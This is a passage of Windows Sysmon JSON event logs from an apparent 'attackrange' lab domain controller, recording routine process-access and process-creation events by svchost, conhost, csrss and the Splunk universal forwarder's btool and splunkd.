AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:57.500\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:57.500","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:58","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:57","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1641,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:57.500\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:57.500","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:58","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:57","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1642,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:57.500\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:57.500","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:58","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:57","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1643,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:57.500\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:57.500","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:58","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:57","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1644,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:57.500\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:57.500","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:58","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:57","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1645,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:57.500\r\nSourceProcessGUID: {90617006-3FE5-5F2D-0000-00105DC70200}\r\nSourceProcessId: 3756\r\nSourceThreadId: 3776\r\nSourceImage: C:\\Windows\\system32\\conhost.exe\r\nTargetProcessGUID: {90617006-3FE5-5F2D-0000-0010C9F20200}\r\nTargetProcessId: 3896\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:57.500","SourceProcessGUID":"{90617006-3FE5-5F2D-0000-00105DC70200}","SourceProcessId":"3756","SourceThreadId":"3776","SourceImage":"C:\\Windows\\system32\\conhost.exe","TargetProcessGUID":"{90617006-3FE5-5F2D-0000-0010C9F20200}","TargetProcessId":"3896","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:58","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:57","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":1,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":5,"Task":1,"OpcodeValue":0,"RecordNumber":1646,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process Create:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:57.507\r\nProcessGuid: {90617006-3FE5-5F2D-0000-001070F40200}\r\nProcessId: 3916\r\nImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\r\nFileVersion: 8.0.2\r\nDescription: splunkd service\r\nProduct: splunk Application\r\nCompany: Splunk Inc.\r\nOriginalFileName: splunkd.exe\r\nCommandLine: \"C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE\" btool server list general --no-log\r\nCurrentDirectory: C:\\Windows\\system32\\\r\nUser: NT AUTHORITY\\SYSTEM\r\nLogonGuid: {90617006-3FD2-5F2D-0000-0020E7030000}\r\nLogonId: 0x3E7\r\nTerminalSessionId: 0\r\nIntegrityLevel: System\r\nHashes: MD5=B6D66AB97239BFB32F1CC9B8BFE1B4E0,SHA256=9D5EC3AA587B29840BE53E8E11B1C3BFE2FA3413DD65459325CBEEAFA66D3975,IMPHASH=CD69F86EE9B3C12390F5C7499BD3A589\r\nParentProcessGuid: {90617006-3FE5-5F2D-0000-0010C9F20200}\r\nParentProcessId: 3896\r\nParentImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe\r\nParentCommandLine: btool server list general --no-log","Category":"Process Create (rule: ProcessCreate)","Opcode":"Info","UtcTime":"2020-08-07 11:49:57.507","ProcessGuid":"{90617006-3FE5-5F2D-0000-001070F40200}","Image":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe","FileVersion":"8.0.2","Description":"splunkd service","Product":"splunk Application","Company":"Splunk Inc.","OriginalFileName":"splunkd.exe","CommandLine":"\"C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE\" btool server list general --no-log","CurrentDirectory":"C:\\Windows\\system32\\","User":"NT AUTHORITY\\SYSTEM","LogonGuid":"{90617006-3FD2-5F2D-0000-0020E7030000}","LogonId":"0x3e7","TerminalSessionId":"0","IntegrityLevel":"System","Hashes":"MD5=B6D66AB97239BFB32F1CC9B8BFE1B4E0,SHA256=9D5EC3AA587B29840BE53E8E11B1C3BFE2FA3413DD65459325CBEEAFA66D3975,IMPHASH=CD69F86EE9B3C12390F5C7499BD3A589","ParentProcessGuid":"{90617006-3FE5-5F2D-0000-0010C9F20200}","ParentProcessId":"3896","ParentImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe","ParentCommandLine":"btool server list general --no-log","EventReceivedTime":"2020-08-07 11:49:58","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:57","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1647,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:57.500\r\nSourceProcessGUID: {90617006-3FE5-5F2D-0000-0010C9F20200}\r\nSourceProcessId: 3896\r\nSourceThreadId: 3900\r\nSourceImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe\r\nTargetProcessGUID: {90617006-3FE5-5F2D-0000-001070F40200}\r\nTargetProcessId: 3916\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe+239c|C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe+2568|C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe+2926|C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe+11cf|C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe+1245|C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe+aa24|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:57.500","SourceProcessGUID":"{90617006-3FE5-5F2D-0000-0010C9F20200}","SourceProcessId":"3896","SourceThreadId":"3900","SourceImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe","TargetProcessGUID":"{90617006-3FE5-5F2D-0000-001070F40200}","TargetProcessId":"3916","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe+239c|C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe+2568|C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe+2926|C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe+11cf|C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe+1245|C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe+aa24|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:58","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:57","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1648,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:57.500\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 660\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-3FE5-5F2D-0000-001070F40200}\r\nTargetProcessId: 3916\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:57.500","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"660","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-3FE5-5F2D-0000-001070F40200}","TargetProcessId":"3916","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 11:49:58","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:57","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1649,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:57.500\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 